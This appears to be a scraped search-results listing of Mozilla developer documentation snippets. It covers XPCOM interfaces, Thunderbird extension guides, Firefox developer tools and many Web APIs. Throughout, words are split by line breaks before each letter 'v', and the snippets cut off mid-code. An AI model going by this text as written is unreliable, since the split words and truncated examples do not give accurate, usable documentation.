...And 4 more matches
nsIDOMClientRect
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description bottom float y-coordinate, relative to the
viewport origin, of the bottom of the rectangle box.
... left float x-coordinate, relative to the
viewport origin, of the left of the rectangle box.
... right float x-coordinate, relative to the
viewport origin, of the right of the rectangle box.
...And 4 more matches
nsIMacDockSupport
widget/nsimacdocksupport.idlscriptable pro
vides access to the dock on mac os x.
...to create an instance, use: var dock = components.classes["@mozilla.org/widget/macdocksupport;1"] .getser
vice(components.interfaces.nsimacdocksupport); see working with the mac os x dock for details and examples.
...this can be done like this: var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getser
vice(ci.nsimacdocksupport); console.log('docksupport:', docksupport); var win = ser
vices.wm.getmostrecentwindow('na
vigator:browser'); var macmenu = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menupopup'); macmenu.setattribute('id', 'mymacmenu'); var macmenuitem = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.onl...
...And 4 more matches
nsIMsgDatabase
last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method over
view void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey ...
...y key, in boolean offline, in nsidbchangelistener instigator); void setlabel(in nsmsgkey key, in nsmsglabelvalue label); void setstringproperty(in nsmsgkey akey, in string aproperty, in string avalue); void markimapdeleted(in nsmsgkey key, in boolean deleted, in nsidbchangelistener instigator); void applyretentionsettings(in nsimsgretentionsettings amsgretentionsettings, in boolean adelete
viafolder); boolean hasnew(); void clearnewlist(in boolean notify); void addtonewlist(in nsmsgkey key); void startbatch(); void endbatch(); nsimsgofflineimapoperation getofflineopforkey(in nsmsgkey messagekey, in boolean create); void removeofflineop(in nsimsgofflineimapoperation op); nsisimpleenumerator enumerateofflineops(); void listallofflineopids(in nsmsgkeyarrayptr offlineopi...
... nextfakeofflinemsgkey nsmsgkey readonly: for sa
ving "fake" offline msg hdrs.
...And 4 more matches
nsISupportsArray
inherits from: nsicollection last changed in gecko 1.7 method over
view boolean appendelements(in nsisupportsarray aelements);
violates the xpcom interface guidelines nsisupportsarray clone(); void compact(); void deleteelementat(in unsigned long aindex); void deletelastelement(in nsisupports aelement); nsisupports elementat(in unsigned long aindex);
violates the xpcom interface guidelines boolean enumeratebackwards(in nsisupportsarrayenumfunc afunc, in voidptr adata);
violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata);
violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other);
viola...
...tes the xpcom interface guidelines long getindexof(in nsisupports apossibleelement); long getindexofstartingat(in nsisupports apossibleelement, in unsigned long astartindex); long getlastindexof(in nsisupports apossibleelement); long indexof([const] in nsisupports apossibleelement);
violates the xpcom interface guidelines long indexofstartingat([const] in nsisupports apossibleelement, in unsigned long astartindex);
violates the xpcom interface guidelines boolean insertelementat(in nsisupports aelement, in unsigned long aindex);
violates the xpcom interface guidelines boolean insertelementsat(in nsisupportsarray aother, in unsigned long aindex);
violates the xpcom interface guidelines long lastindexof([const] in nsisupports apossibleelement);
violates the xpcom interface guide...
...lines boolean moveelement(in long afrom, in long ato);
violates the xpcom interface guidelines boolean removeelementat(in unsigned long aindex);
violates the xpcom interface guidelines boolean removeelementsat(in unsigned long aindex, in unsigned long acount);
violates the xpcom interface guidelines boolean removelastelement([const] in nsisupports aelement);
violates the xpcom interface guidelines boolean replaceelementat(in nsisupports aelement, in unsigned long aindex);
violates the xpcom interface guidelines boolean sizeto(in long asize);
violates the xpcom interface guidelines methods
violates the xpcom interface guidelines appendelements() boolean appendelements( in nsisupportsarray aelements ); parameters aelements return value clone() nsisupportsarray clone...
...And 4 more matches
Adding items to the Folder Pane
this tutorial examines how to add items to an existing folder pane
view.
...clicking on those items will display the number in the main
viewing pane of thunderbird.
...each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka
view) has changed), a "rebuild" occurs.
...And 4 more matches
Thunderbird extensions
the following documentation pro
vides help for creating extensions for the thunderbird email client.
... read about the main windows to learn about « thread pane », « pre
view pane », and « folder pane ».
...gloda pro
vides concepts such as conversations, messages, identities, contacts.
...And 4 more matches
Using the Mozilla symbol server
symbols are available for at least 30 pre
vious days worth of nightly builds, and firefox releases from 2.0.0.4.
... note that because mozilla release builds are hea
vily optimized, debugging is not always easy.
...you cannot
visit this url directly: you must add it to the symbol path of your debugging tool.
...And 4 more matches
Streams - Plugins
« pre
viousnext » this chapter describes using plug-in api functions to receive and send streams.
... recei
ving a stream sending a stream recei
ving a stream when the browser sends a data stream to the plug-in, it has several tasks to perform: telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode tellin...
...different types of data: for the file specified in the data attribute of the object element or the src attribute of the embed element for a data file for a full-page instance the npp_newstream method has the following syntax: nperror npp_newstream(npp instance, npmimetype type, npstream *stream, npbool seekable, uint16* stype); the instance parameter refers to the plug-in instance recei
ving the stream; the type parameter represents the stream's mime type.
...And 4 more matches
Debugger.Source - Firefox Developer Tools
the two cases are distinguished by the latter ha
ving its introductiontype property always being "wasm" and the former ha
ving its introductiontype property never being "wasm".
... debugger.source for javascript for a debugger.source instance representing a piece of javascript source code, its properties pro
vide the source code itself as a string, and describe where it came from.
... debugger.source for webassembly for a debugger.source instance representing the serialized text of a block of webassembly code, its properties pro
vide the serialized text as a string.
...And 4 more matches
Work with animations - Firefox Developer Tools
this article covers three tools you can use to
visualize and edit animations: the animation inspector editing @keyframes editing timing functions animation inspector the page inspector's animations
view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.
... if you hover over the bar, a tooltip appears, gi
ving you more detailed information about the animation or transition, including: the type of animation: css transition, css animation, or web animations api the duration of the animation the animation's start and end delay the animation's easing (or timing function).
...if you hover over a dot, you'll see the value assigned to that property at that point in the timeline: this is essentially a
visual representation of the animation's keyframes: var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)' }, { filter: 'grayscale(100%)', offset: 0.333 }, { transform: 'scale(1.5)', offset: 0.666 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)' } ]; application to the example ap...
...And 4 more matches
Intensive JavaScript - Firefox Developer Tools
there's also a
video version of this walkthrough: the demo website looks like this: it has three controls: a radio button group to control how to run the javascript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker.
... lea
ving the radio button set to "use blocking call in main thread", make a recording: press the "start animations" button start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one machine to another, but it will be something like this: the top half of this is the waterfall over
view.
... it gives us a compressed
view of the waterfall, which tells us what kinds of operations the browser is doing during the recording.
...And 4 more matches
Web Audio Editor - Firefox Developer Tools
within that context they then construct a number of audio nodes, including: nodes pro
viding the audio source, such as an oscillator or a data buffer source nodes performing transformations such as delay and gain nodes representing the destination of the audio stream, such as the speakers each node has zero or more audioparam properties that configure its operation.
... the developer connects the nodes in a graph, and the complete graph defines the beha
vior of the audio stream.
... the web audio editor examines an audio context constructed in the page and pro
vides a
visualization of its graph.
...And 4 more matches
Web Console Helpers - Firefox Developer Tools
the commands the javascript command line pro
vided by the web console offers a few built-in helper functions that make certain tasks easier.
...the resulttype parameter specifies the type of result to return; it can be an xpathresult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not pro
vided, any_type is used.
...once you select the object in the output area, you can use the arrow keys to na
vigate the object.
...And 4 more matches
AudioListener - Web APIs
in a pre
vious version of the specification, the dopplerfactor and speedofsound properties and the setposition() method could be used to control the doppler effect applied to audiobuffersourcenodes connected downstream — these would be pitched up and down according to the relative speed of the pannernode and the audiolistener.
... the beha
vior to adopt when an audiobuffersourcenode was connected to multiple pannernodes was unclear.
... the setorientation() and setposition() methods have been replaced by setting their property value equi
vilents.
...And 4 more matches
AudioTrackList.getTrackById() - Web APIs
example this example suggests a hypothetical game in which mo
vies are used as cut-scenes or other key set pieces within the game.
... each mo
vie has one audio track for each character, as well as one for the music, sound effects, and so forth.
... this function allows the game to disable a specific character's audio in order to adjust the mo
vie's performance based on occurrences within the game; if the character's dialog isn't relevant, it gets left out.
...And 4 more matches
AudioTrackList - Web APIs
the indi
vidual tracks can be accessed using array syntax.
... also available
via the onaddtrack property.
... also available
via the onchange property.
...And 4 more matches
BaseAudioContext - Web APIs
you wouldn't use baseaudiocontext directly — you'd use its features
via one of these two inheriting interfaces.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill=...
...it can be thought of as the audio-rendering de
vice.
...And 4 more matches
Using the Beacon API - Web APIs
see beacon api for an over
view.
... na
vigator.sendbeacon() the beacon api's na
vigator.sendbeacon() method sends a beacon request to the server in the global browsing context.
...the data argument is optional and its type may be an arraybuffer
view, blob, domstring, or formdata.
...And 4 more matches
Bluetooth - Web APIs
the bluetooth interface of the web bluetooth api returns a promise to a bluetoothde
vice object with the specified options.
... interface interface bluetooth : eventtarget { promise<boolean> getavailability(); attribute eventhandler onavailabilitychanged; [sameobject] readonly attribute bluetoothde
vice?
... referringde
vice; promise<sequence<bluetoothde
vice>> getde
vices(); promise<bluetoothde
vice> requestde
vice(optional requestde
viceoptions options = {}); }; bluetooth includes bluetoothde
viceeventhandlers; bluetooth includes characteristiceventhandlers; bluetooth includes ser
viceeventhandlers; properties inherits properties from its parent eventtarget.
...And 4 more matches
BluetoothRemoteGATTServer - Web APIs
the bluetoothremotegattserver interface of the web bluetooth api represents a gatt server on a remote de
vice.
... interface interface bluetoothremotegattserver { readonly attribute bluetoothde
vice de
vice; readonly attribute boolean connected; promise<bluetoothremotegattserver> connect(); void disconnect(); promise<bluetoothremotegattser
vice> getprimaryser
vice(bluetoothser
viceuuid ser
vice); promise<sequence<bluetoothremotegattser
vice>> getprimaryser
vices(optional bluetoothser
viceuuid ser
vice); }; properties bluetoothremotegattserver.connectedread only a boolean value that returns true while this script execution en
vironment is connected to this.de
vice.
... bluetoothremotegattserver.de
viceread only a reference to the bluetoothde
vice running the server.
...And 4 more matches
BudgetState - Web APIs
the budgetstate interface of the the web budget api pro
vides the amount of the user agent's processing budget at a specific point in time.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetstate experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... web
view android no support nochrome android full support 60firefox android ?
...And 4 more matches
CSS Typed Object Model API - Web APIs
css typed object model api pro
vides interfaces to interact with underlying values, by representing them with specialized js objects that can be manipulated and understood more easily and more reliably than string parsing and concatenation.
...it is also generally faster, as values can be directly manipulated and then cheaply translated back into underlying values without ha
ving to both build and parse strings of css.
... stylepropertymap the stylepropertymap interface of the the css typed object model api pro
vides a representation of a css declaration block that is an alternative to cssstyledeclaration.
...And 4 more matches
Hit regions and accessibility - Web APIs
« pre
viousnext » the <canvas> element on its own is just a bitmap and does not pro
vide information about any drawn objects.
... partially overlaying the circle is a green <a href="http://en.wikipedia.org/wiki/square" onfocus="drawsquare();" onblur="drawpicture();">square</a> and a purple <a href="http://en.wikipedia.org/wiki/triangle" onfocus="drawtriangle();" onblur="drawpicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> see the
video how nvda reads this example by steve faulkner.
...you can use aria attributes to describe the beha
vior and purpose of the canvas element.
...And 4 more matches
CloseEvent - Web APIs
1001 going away the endpoint is going away, either because of a server failure or because the browser is na
vigating away from the page that opened the connection.
... indicates that no status code was pro
vided even though one was expected.
... 1008 policy
violation the endpoint is terminating the connection because it received a message that
violates its policy.
...And 4 more matches
ContentIndex.add() - Web APIs
used in user-
visible lists of content.
...used in user-
visible lists of content.
...used in user-
visible lists of content.
...And 4 more matches
DOMHighResTimeStamp - Web APIs
however, if the browser is unable to pro
vide a time value accurate to 5 µs (due, for example, to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond.
... further, if the de
vice or operating system the user agent is running on doesn't have a clock accurate to the microsecond level, they may only be accurate to the millisecond.
... value the value of a domhighrestimestamp is a double-precision floating-point number which describes the number of milliseconds (accurate to within 5 microseconds if the de
vice supports it) elapsed between two points in time.
...And 4 more matches
Element.classList - Web APIs
using classlist is a convenient alternative to accessing an element's list of classes as a space-delimited string
via element.classname.
... examples const div = document.createelement('div'); div.classname = 'foo'; // our starting state: <div class="foo"></div> console.log(div.outerhtml); // use the classlist api to remove and add classes div.classlist.remove("foo"); div.classlist.add("anotherclass"); // <div class="anotherclass"></div> console.log(div.outerhtml); // if
visible is set remove it, otherwise add it div.classlist.toggle("
visible"); // add/remove
visible, depending on test conditional, i less than 10 div.classlist.toggle("
visible", i < 10 ); console.log(div.classlist.contains("foo")); // add or remove multiple classes div.classlist.add("foo", "bar", "baz"); div.classlist.remove("foo", "bar", "baz"); // add or remove multiple classes using spread syn...
...see https://bugzilla.mozilla.org/show_bug.cgi?id=814014 polyfill the legacy onpropertychange event can be used to create a li
ving classlist mockup thanks to a element.prototype.classname property that fires the specified event once it is changed.
...And 4 more matches
Element.requestFullscreen() - Web APIs
note: this method must be called while responding to a user interaction or a de
vice orientation change; otherwise it will fail.
... syntax var promise = element.requestfullscreen(options); parameters options optional a fullscreenoptions object pro
viding options that control the beha
vior of the transition to full-screen mode.
... currently, the only option is na
vigationui, which controls whether or not to show na
vigation ui while the element is in full-screen mode.
...And 4 more matches
Fetch API - Web APIs
the fetch api pro
vides an interface for fetching resources (including across the network).
... it will seem familiar to anyone who has used xmlhttprequest, but the new api pro
vides a more powerful and flexible feature set.
... concepts and usage fetch pro
vides a generic definition of request and response objects (and other things involved with network requests).
...And 4 more matches
FileSystemEntry.copyTo() - Web APIs
newname optional if this parameter is pro
vided, the copy is given this string as its new file or directory name.
...receives a single input parameter: a filesystementry based object pro
viding the copied item's new details.
... errors fileerror.invalid_modification_err the requested operation involves an impossible change, such as mo
ving a directory inside itself or one of its own child directories, or copying an item within the same directory without renaming it.
...And 4 more matches
File and Directory Entries API - Web APIs
the file and directory entries api simulates a local file system that web apps can na
vigate within and access files in.
... you can develop apps which read, write, and create files and/or directories in a
virtual, sandboxed file system.
... two very similar apis exist depending on whether you desire asynchronous or synchronous beha
vior.
...And 4 more matches
Gamepad - Web APIs
the gamepad interface of the gamepad api defines an indi
vidual gamepad or other controller, allowing access to information such as button presses, axis positions, and id.
... a gamepad object can be returned in one of two ways:
via the gamepad property of the gamepadconnected and gamepaddisconnected events, or by grabbing any position in the array returned by the na
vigator.getgamepads() method.
... properties gamepad.axes read only an array representing the controls with axes present on the de
vice (e.g.
...And 4 more matches
HTMLDialogElement - Web APIs
the htmldialogelement interface pro
vides methods to manipulate <dialog> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldialogelement" target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits propert...
... also available
via the onclose property.
...And 4 more matches
HTMLImageElement.longDesc - Web APIs
this can be used to pro
vide optional added details beyond the short description pro
vided in the title attribute.
...the longdesc property could be used to pro
vide an explanation of the flow of control represented by the chart, using only text.
... this can be used by readers both as an explanation, but also as a substitute for
visually-impaired users.
...And 4 more matches
HTMLMarqueeElement - Web APIs
the htmlmarqueeelement interface pro
vides methods to manipulate <marquee> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlmarqueeelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmarqueeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties ...
... htmlmarqueeelement.beha
vior sets how the text is scrolled within the marquee.
...And 4 more matches
HTMLMediaElement.load() - Web APIs
this method is generally only useful when you've made dynamic changes to the set of sources available for the media element, either by changing the element's src attribute or by adding or remo
ving <source> elements nested within the media element itself.
... usage notes calling load() aborts all ongoing operations invol
ving this media element, then begins the process of selecting and loading an appropriate media resource given the options specified in the <audio> or <
video> element and its src attribute or child <source> element(s).
... this is described in more detail in supporting multiple formats in
video and audio content.
...And 4 more matches
HTMLMediaElement.play() - Web APIs
example this example demonstrates how to confirm that playback has begun and how to gracefully handle blocked automatic playback: let
videoelem = document.getelementbyid("
video"); let playbutton = document.getelementbyid("playbutton"); playbutton.addeventlistener("click", handleplaybutton, false); play
video(); async function play
video() { try { await
videoelem.play(); playbutton.classlist.add("playing"); } catch(err) { playbutton.classlist.remove("playing"); } } function handleplaybutton() { if (
videoelem.pa...
...used) { play
video(); } else {
videoelem.pause(); playbutton.classlist.remove("playing"); } } in this example, playback of
video is toggled off and on by the async play
video() function.
... it tries to play the
video, and if successful sets the class name of the playbutton element to "playing".
...And 4 more matches
HTMLMediaElement.textTracks - Web APIs
you can detect when tracks are added to and removed from an <audio> or <
video> element using the addtrack and removetrack events.
... each track is represented by a texttrack object which pro
vides information about the track.
... examples we start with a <
video> that has several <track> children <
video controls poster="/images/sample.gif"> <source src="sample.mp4" type="
video/mp4"> <source src="sample.ogv" type="
video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descriptions" src="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind="subtitles" src="samplesubtitles_en.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_ja.vtt" srclang="ja"> <track kind="subtitles" src="samplesubtitles_oz.vtt" srclang="oz"> <track kind="metadata" src="keystage1.vtt" srclang="en" label="key stage 1"> <track kind="metadata" src="keystage2.
...And 4 more matches
HTMLScriptElement - Web APIs
html <script> elements expose the htmlscriptelement interface, which pro
vides special properties and methods for manipulating the beha
vior and execution of <script> elements (beyond the inherited htmlelement interface).
... javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*),
video type (
video/*), audio type (audio/*), or text/csv.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
...And 4 more matches
HTMLSelectElement - Web APIs
these elements also share all of the properties and methods of other html elements
via the htmlelement interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmlselectelement.size a long reflecting the size html attribute, which contains the number of
visible items in the control.
...And 4 more matches
msStereo3DPackingMode - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msstereo3dpackingmode is a read/write property which gets or sets the frame-packing mode for stereo 3-d
video content.
... syntax html
videoelement.msstereo3dpackingmode(topbottom, sidebyside, none); value the following values return, or set, the stereo 3-d content packing as "topbottom", "sidebyside", or "none" for regular 2-d
video.
...And 4 more matches
History.back() - Web APIs
if there is no pre
vious page, this method call does nothing.
...add a listener for the popstate event in order to determine when the na
vigation has completed.
... syntax history.back() examples the following short example causes a button on the page to na
vigate back one entry in the session history.
...And 4 more matches
IDBObjectStore.add() - Web APIs
dataerror any of the following conditions apply: the object store uses in-line keys or has a key generator, and a key parameter was pro
vided.
... the object store uses out-of-line keys and has no key generator, and no key parameter was pro
vided.
... the key parameter was pro
vided but does not contain a valid key.
...And 4 more matches
IDBObjectStore.createIndex() - Web APIs
any sorting operations performed on the data
via key ranges will then obey sorting rules of that locale (see locale-aware sorting.) you can specify its value in one of three ways: string: a string containing a specific locale code, e.g.
... invalidaccesserror occurs if the pro
vided key path is a sequence, and multientry is set to true in the objectparameters object.
... syntaxerror occurs if the pro
vided keypath is not a valid key path.
...And 4 more matches
IDBObjectStore.get() - Web APIs
this is for retrie
ving specific records from an object store.
...that method pro
vides a cursor if the record exists, and no cursor if it does not.
... dataerror the key or key range pro
vided contains an invalid key.
...And 4 more matches
InstallEvent - Web APIs
the parameter passed into the oninstall handler, the installevent interface represents an install action that is dispatched on the ser
viceworkerglobalscope of a ser
viceworker.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
... installevent.activeworker read only returns the ser
viceworker that is currently controlling the page.
...And 4 more matches
Location: replace() - Web APIs
the replace() method of the location interface replaces the current resource with the one at the pro
vided url.
... the difference from the assign() method is that after using replace() the current page will not be saved in session history, meaning the user won't be able to use the back button to na
vigate to it.
... if the assignment can't happen because of a security
violation, a domexception of the security_error type is thrown.
...And 4 more matches
MediaRecorder() - Web APIs
this source media can come from a stream created using na
vigator.mediade
vices.getusermedia() or from an <audio>, <
video> or <canvas> element.
... options optional a dictionary object that can contain the following properties: mimetype: a mime type specifying the format for the resulting media; you may simply specify the container format (the browser will select its preferred codecs for audio and/or
video), or you may use the codecs parameter and/or the profiles parameter to pro
vide detailed information about which codecs to use and how to configure them.
...
videobitspersecond: the chosen bitrate for the
video component of the media.
...And 4 more matches
MediaSource - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... mediasource.activesourcebuffers read only returns a sourcebufferlist object containing a subset of the sourcebuffer objects contained within mediasource.sourcebuffers — the list of objects pro
viding the selected
video track, enabled audio tracks, and shown/hidden text tracks.
... mediasource.readystate read only returns an enum representing the state of the current mediasource, whether it is not currently attached to a media element (closed), attached and ready to receive sourcebuffer objects (open), or attached but the stream has been ended
via mediasource.endofstream() (ended.) mediasource.duration gets and sets the duration of the current media being presented.
...And 4 more matches
MediaTrackSupportedConstraints.frameRate - Web APIs
the mediatracksupportedconstraints dictionary's framerate property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the framerate constraint.
... the framerate constraint can be used to establish acceptable upper and lower bounds on the
video frame rate for a new
video track, or to specify an exact frame rate that must be pro
vided for the request to succeed.
... checking the value of this property lets you determine if the user agent allows constraining the
video track configuration by frame rate.
...And 4 more matches
MouseEvent - Web APIs
the mouseevent interface represents events that occur due to the user interacting with a pointing de
vice (such as a mouse).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
... mouseevent.mozpressure read only the amount of pressure applied to a touch or tablet de
vice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
...And 4 more matches
msPlayToSource - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... syntax ptr = object.msplaytosource; value playto is a means through which an app can connect local playback/display for audio,
video, and img elements to a remote de
vice.
... msplaytosource is used in the sourcerequested handler -- get the playtosource object from an audio,
video, or img element using the msplaytosource property and pass it to e.setsource, then set the playtosource.next property to the msplaytosource of another element for continual playing.
...And 4 more matches
Online and offline events - Web APIs
over
view in order to build a good offline-capable web application, you need to know when your application is actually offline.
... api na
vigator.online na
vigator.online is a property that maintains a true/false value (true for online, false for offline).
...according to the specification: the na
vigator.online attribute must return false if the user agent will not contact the network when the user follows links or when a script requests a remote page (or knows that such an attempt would fail)...
...And 4 more matches
Network Information API - Web APIs
the network information api pro
vides information about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.).
...the entire api consists of the addition of the networkinformation interface and a single property to the na
vigator interface: na
vigator.connection.
... var connection = na
vigator.connection || na
vigator.mozconnection || na
vigator.webkitconnection; var type = connection.effectivetype; function updateconnectionstatus() { console.log("connection type changed from " + type + " to " + connection.effectivetype); type = connection.effectivetype; } connection.addeventlistener('change', updateconnectionstatus); preload large resources the connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory.
...And 4 more matches
OffscreenCanvas - Web APIs
the offscreencanvas interface pro
vides a canvas that can be rendered off screen.
... to display the imagebitmap, you can use a imagebitmaprenderingcontext context, which can be created by calling canvas.getcontext("bitmaprenderer") on a (
visible) canvas element.
... this context only pro
vides functionality to replace the canvas's contents with the given imagebitmap.
...And 4 more matches
PannerNode - Web APIs
the pannernode interface represents the position and beha
vior of an audio source signal in space.
... pannernode.setvelocity() defines the velocity vector of the audio source — how fast it is mo
ving and in what direction.
... in a pre
vious version of the specification, the pannernode had a velocity that could pitch up or down audiobuffersourcenodes connected downstream.
...And 4 more matches
PaymentAddress - Web APIs
it may be useful to refer to the universal postal union web site's addressing s42 standard materials, which pro
vide information about international standards for postal addresses.
... properties paymentaddress.addressline read only an array of domstring objects pro
viding each line of the address not included among the other properties.
... paymentaddress.dependentlocality read only a domstring gi
ving the dependent locality or sublocality within a city, for example, a neighborhood, borough, district, or uk dependent locality.
...And 4 more matches
PaymentRequest.show() - Web APIs
if your architecture doesn't necessarily have all of the data ready to go at the moment it instantiates the payment interface by calling show(), specify the detailspromise parameter, pro
viding a promise that is fulfilled once the data is ready.
... if this is pro
vided, show() will not allow the user to interact with the payment interface until the promise is fulfilled, so that data can be updated prior to the user engaging with the payment process.
... syntax paymentpromise = paymentrequest.show(detailspromise); parameters detailspromise optional an optional promise that you can pro
vide if your architecture requires that the payment request's details need to be updated between instantiating the payment interface and the user beginning to interact with it.
...And 4 more matches
Using the Payment Request API - Web APIs
the payment request api pro
vides a browser-based method of connecting users and their preferred payment systems and platforms to merchants that they want to pay for goods and ser
vices.
...this takes two mandatory parameters and one option parameter: methoddata — an object containing information concerning the payment pro
vider, such as what payment methods are supported, etc.
